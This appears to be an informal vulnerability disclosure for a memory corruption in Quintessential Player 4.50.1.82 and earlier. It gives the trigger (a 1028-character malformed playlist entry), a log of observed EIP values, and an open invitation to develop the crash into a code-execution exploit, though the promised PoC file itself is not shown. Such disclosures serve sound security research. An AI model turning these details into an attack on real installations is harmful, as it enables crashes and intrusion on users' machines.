0-day Quintessential Player <= 4.50.1.82 Playlist Denial Of Service PoC
|
|
========================================================================
|
|
========================================================================
|
|
Quintessential Player 4.50.1.82 and lower experiance a memory corruption
|
|
when attempting to parse out malformed Playlist files.
|
|
This possibly could lead to execution of code. Here is the proof of
|
|
concept in PLS format.
|
|
|
|
Note: M3u and M3u-8 are also affected by this problem.
|
|
|
|
EIP gets replaced by semi random values in the memory corruption
|
|
here are my experiances:
|
|
[Buffer = 1028 A's]
|
|
|
|
Buffer + X EIP = 0x009efe5a
|
|
Buffer + X EIP = 0x00f6eb81 2nd run
|
|
Buffer + AAAA EIP = 0x009efde2
|
|
Buffer + AAAA EIP = 0x009efdb3 2nd run
|
|
Buffer + AAAA EIP = 0x009efdb6 3rd run
|
|
Buffer + AAAABBBB EIP = 0x009efdea
|
|
|
|
(Using the NumberOfEntries made it more consistant)
|
|
Buffer + AAAA EIP = 0x00e13fd6 for 3 times until
|
|
Buffer + AAAA EIP = 0x00e13fda
|
|
|
|
If someone can figure out how to control EIP and cause this to become
|
|
a buffer overflow exploit, this can be exploited just like
|
|
the XMPlayer Buffer Overflow issue or the old Winamp UNC overflow.
|
|
|
|
if you figure it out, just credit me with my email somewhere in the code,
|
|
ill be more than happy :)
|
|
|
|
|
|
Happy Hunting and Happy Holidays to everyone
